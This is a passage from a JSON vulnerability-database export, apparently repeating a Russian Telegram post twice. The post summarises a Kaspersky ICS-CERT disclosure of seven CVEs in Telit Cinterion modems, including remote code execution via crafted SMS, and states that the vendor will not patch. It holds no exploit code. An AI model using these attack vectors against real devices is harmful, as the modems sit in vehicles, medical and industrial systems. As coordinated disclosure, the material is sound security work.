\u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u0432 \u0446\u0435\u043b\u043e\u043c. \u0414\u043b\u044f \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u0435\u0439, \u043c\u0435\u0434\u0438\u0446\u0438\u043d\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u0438\u0441\u0442\u0435\u043c \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438, \u0434\u043b\u044f REDACTED, \u0434\u043b\u044f REDACTED, \u0438 \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u043c\u043e\u0434\u0435\u043c\u044b \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0432 REDACTED. \u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0432\u0441\u044e \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u043a\u0443\u043f\u043e\u043a \u0438 \u043f\u043e\u0433\u043b\u0430\u0449\u0435\u043d\u0438\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u0438 \u043c\u043e\u0434\u0435\u043c\u044b \u0432 \u0441\u0432\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u0431\u044b\u043b\u0438 \u0447\u0430\u0441\u0442\u044c\u044e \u0431\u0438\u0437\u043d\u0435\u0441\u0430  Gemalto, \u0447\u044c\u0438 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u044b \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0439 \u043c\u044b \u043b\u043e\u043c\u0430\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0438 \u043d\u0430\u0448\u043b\u0438 \u0442\u0430\u043c \u0431\u0435\u043a\u0434\u043e\u0440 \u043f\u043b\u043e\u0445\u043e \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b. \n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u043c\u043e\u0434\u0435\u043c\u043e\u0432 \u0441\u0442\u0430\u043b\u0430 \u043f\u0430\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439:\nCVE-2023-47610 - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430\nCVE-2023-47611 - \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0435\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f \"manufacturer\"\nCVE-2023-47612 - \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 (\u0444\u0430\u0439\u043b\u044b, \u043f\u0430\u043f\u043a\u0438 \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0435) \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\nCVE-2023-47613 -  \u043f\u043e\u0431\u0435\u0433 \u0438\u0437 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0442\u0435\u043d\u0438\u044e \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47614 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0438 \u0438\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47615 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c\nCVE-2023-47616 - \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\n\n\u0412\u0441\u0435 \u0431\u0430\u0433\u0438 \u043f\u043e-\u0441\u0432\u043e\u0435\u043c\u0443 \u0438\u043d\u0435\u0442\u0435\u0440\u0441\u043d\u044b. \u041d\u043e, \u043d\u0430 \u043c\u043e\u0439 \u0432\u0437\u0433\u043b\u044f\u0434, \u0441\u0430\u043c\u0430\u0439 \u044d\u043b\u0435\u0433\u0430\u043d\u0442\u043d\u0430\u044f, \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u043f\u0435\u0440\u0432\u0430\u044f - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 SMS. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c 4-5 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u043c\u0441\u043e\u043a \u0438 \u0442\u043e\u0433\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e. \n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0442\u043e \u0442\u0443\u0442 \u0432\u0441\u0435 \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u041e\u0447\u0435\u043d\u044c \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u0423\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u0432\u0435\u043d\u0434\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u041c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u0443 \u0432\u043e\u043a\u0440\u0443\u0433 \u044d\u0442\u0438\u0445 \u043c\u043e\u0434\u0435\u043c\u043e\u0432, \u043d\u043e \u0442\u0443\u0442 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u043c\u043d\u043e\u0433\u043e. \u0411\u0435\u0434\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0430\u0442\u0430\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \"\u0437\u0430\u043b\u0438\u0432\u0430\u0442\u044c\" \u0431\u0435\u043a\u0434\u043e\u0440\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0447\u0435\u0440\u0442\u043e\u0432\u0441\u043a\u0438 \u0442\u0440\u0443\u0434\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c. \u0418 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0438\u0434\u044f\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043d\u0435\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b\n\nBig things have small beginnings. \u042d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0435\u0440\u0432\u044b\u0439 \u043e\u0442\u0447\u0435\u0442. \u0418 \u0435\u0433\u043e \u0443\u0440\u0435\u0437\u0430\u043d\u043d\u0430\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c :) \u043d\u043e \u0438 \u0435\u0435 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c \u0432\u0441\u044e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u043b\u0430. \u0418\u0441\u043a\u0440\u0435\u043d\u043d\u0435 \u043f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u044e \u0432\u0441\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u043a\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u043b \u043d\u0430\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438! \n\nUPD: \u0437\u0430\u0431\u044b\u043b \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043f\u0430\u0446\u0430\u043d\u044b \u0432\u043e\u043e\u0431\u0449\u0435 \u0440\u0435\u0431\u044f\u0442\u0430 \u0438 \u0434\u043e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0442\u0447\u0435\u0442\u0430 \u0441\u0432\u044f\u0437\u0430\u043b\u0438\u0441\u044c \u0441 \u043a\u0443\u0447\u0435\u0439 CERT'\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u0439 \u043f\u043b\u0430\u043d\u0435\u0442\u0435, \u0447\u0442\u043e\u0431\u044b \u0442\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u0441\u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u043e \u043c\u0438\u0442\u0438\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0441\u0442\u0440\u0430\u043d\u0430\u0445 \u0438 \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u0445. \u0412\u0430\u0436\u043d\u0435\u0439\u0448\u0438\u0439 \u0448\u0430\u0433 \u0432 \u0441\u0432\u0435\u0442\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u0430\u043d\u0442\u0430\u0441\u043c\u0430\u0433\u043e\u0440\u0438\u0438\n\n\u041e\u0442\u0447\u0435\u0442:\nhttps://ics-cert.kaspersky.ru/media/Kaspersky-ICS-CERT-Cinterion-EHS5-whitepaper-Ru.pdf", "creation_timestamp": "2024-06-13T14:38:15.000000Z"}, {"uuid": "39f5aace-4ce8-4c6a-96df-132c2e8ff19d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47615", "type": "published-proof-of-concept", "source": "https://t.me/sycebrex/167", "content": "\u0423\u0420\u0410 \u041d\u0410\u0421\u0422\u0410\u041b \u0422\u041e\u0422 \u0421\u0410\u041c\u042b\u0419 \u0414\u0415\u041d\u042c!\n\n\u0423 \u043d\u0430\u0441 \u0432\u044b\u0448\u0435\u043b \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 Telit Cinterion. \u042d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0438 \u0432\u0430\u0436\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0432\u0441\u0435\u0439 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0438 \u0438 \u0434\u043b\u044f connected \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u0432 \u0446\u0435\u043b\u043e\u043c. \u0414\u043b\u044f \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u0435\u0439, \u043c\u0435\u0434\u0438\u0446\u0438\u043d\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u0438\u0441\u0442\u0435\u043c \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438, \u0434\u043b\u044f REDACTED, \u0434\u043b\u044f REDACTED, \u0438 \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u043c\u043e\u0434\u0435\u043c\u044b \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0432 REDACTED. \u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0432\u0441\u044e \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u043a\u0443\u043f\u043e\u043a \u0438 \u043f\u043e\u0433\u043b\u0430\u0449\u0435\u043d\u0438\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u0438 \u043c\u043e\u0434\u0435\u043c\u044b \u0432 \u0441\u0432\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u0431\u044b\u043b\u0438 \u0447\u0430\u0441\u0442\u044c\u044e \u0431\u0438\u0437\u043d\u0435\u0441\u0430  Gemalto, \u0447\u044c\u0438 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u044b \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0439 \u043c\u044b \u043b\u043e\u043c\u0430\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0438 \u043d\u0430\u0448\u043b\u0438 \u0442\u0430\u043c \u0431\u0435\u043a\u0434\u043e\u0440 \u043f\u043b\u043e\u0445\u043e \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b. \n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u043c\u043e\u0434\u0435\u043c\u043e\u0432 \u0441\u0442\u0430\u043b\u0430 \u043f\u0430\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439:\nCVE-2023-47610 - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430\nCVE-2023-47611 - \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0435\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f \"manufacturer\"\nCVE-2023-47612 - \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 (\u0444\u0430\u0439\u043b\u044b, \u043f\u0430\u043f\u043a\u0438 \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0435) \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\nCVE-2023-47613 -  \u043f\u043e\u0431\u0435\u0433 \u0438\u0437 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0442\u0435\u043d\u0438\u044e \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47614 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0438 \u0438\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47615 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c\nCVE-2023-47616 - \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\n\n\u0412\u0441\u0435 \u0431\u0430\u0433\u0438 \u043f\u043e-\u0441\u0432\u043e\u0435\u043c\u0443 \u0438\u043d\u0435\u0442\u0435\u0440\u0441\u043d\u044b. \u041d\u043e, \u043d\u0430 \u043c\u043e\u0439 \u0432\u0437\u0433\u043b\u044f\u0434, \u0441\u0430\u043c\u0430\u0439 \u044d\u043b\u0435\u0433\u0430\u043d\u0442\u043d\u0430\u044f, \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u043f\u0435\u0440\u0432\u0430\u044f - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 SMS. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c 4-5 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u043c\u0441\u043e\u043a \u0438 \u0442\u043e\u0433\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e. \n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0442\u043e \u0442\u0443\u0442 \u0432\u0441\u0435 \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u041e\u0447\u0435\u043d\u044c \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u0423\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u0432\u0435\u043d\u0434\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u041c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u0443 \u0432\u043e\u043a\u0440\u0443\u0433 \u044d\u0442\u0438\u0445 \u043c\u043e\u0434\u0435\u043c\u043e\u0432, \u043d\u043e \u0442\u0443\u0442 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u043c\u043d\u043e\u0433\u043e. \u0411\u0435\u0434\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0430\u0442\u0430\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \"\u0437\u0430\u043b\u0438\u0432\u0430\u0442\u044c\" \u0431\u0435\u043a\u0434\u043e\u0440\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0447\u0435\u0440\u0442\u043e\u0432\u0441\u043a\u0438 \u0442\u0440\u0443\u0434\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c. \u0418 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0438\u0434\u044f\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043d\u0435\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b\n\nBig things have small beginnings. \u042d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0435\u0440\u0432\u044b\u0439 \u043e\u0442\u0447\u0435\u0442. \u0418 \u0435\u0433\u043e \u0443\u0440\u0435\u0437\u0430\u043d\u043d\u0430\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c :) \u043d\u043e \u0438 \u0435\u0435 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c \u0432\u0441\u044e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u043b\u0430. \u0418\u0441\u043a\u0440\u0435\u043d\u043d\u0435 \u043f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u044e \u0432\u0441\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u043a\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u043b \u043d\u0430\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438! \n\nUPD: \u0437\u0430\u0431\u044b\u043b \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043f\u0430\u0446\u0430\u043d\u044b \u0432\u043e\u043e\u0431\u0449\u0435 \u0440\u0435\u0431\u044f\u0442\u0430 \u0438 \u0434\u043e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0442\u0447\u0435\u0442\u0430 \u0441\u0432\u044f\u0437\u0430\u043b\u0438\u0441\u044c \u0441 \u043a\u0443\u0447\u0435\u0439 CERT'\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u0439 \u043f\u043b\u0430\u043d\u0435\u0442\u0435, \u0447\u0442\u043e\u0431\u044b \u0442\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u0441\u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u043e \u043c\u0438\u0442\u0438\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0441\u0442\u0440\u0430\u043d\u0430\u0445 \u0438 \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u0445. \u0412\u0430\u0436\u043d\u0435\u0439\u0448\u0438\u0439 \u0448\u0430\u0433 \u0432 \u0441\u0432\u0435\u0442\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u0430\u043d\u0442\u0430\u0441\u043c\u0430\u0433\u043e\u0440\u0438\u0438\n\n\u041e\u0442\u0447\u0435\u0442:\nhttps://ics-cert.kaspersky.ru/media/Kaspersky-ICS-CERT-Cinterion-EHS5-whitepaper-Ru.pdf", "creation_timestamp": "2024-06-13T14:38:15.000000Z"}, {"uuid": 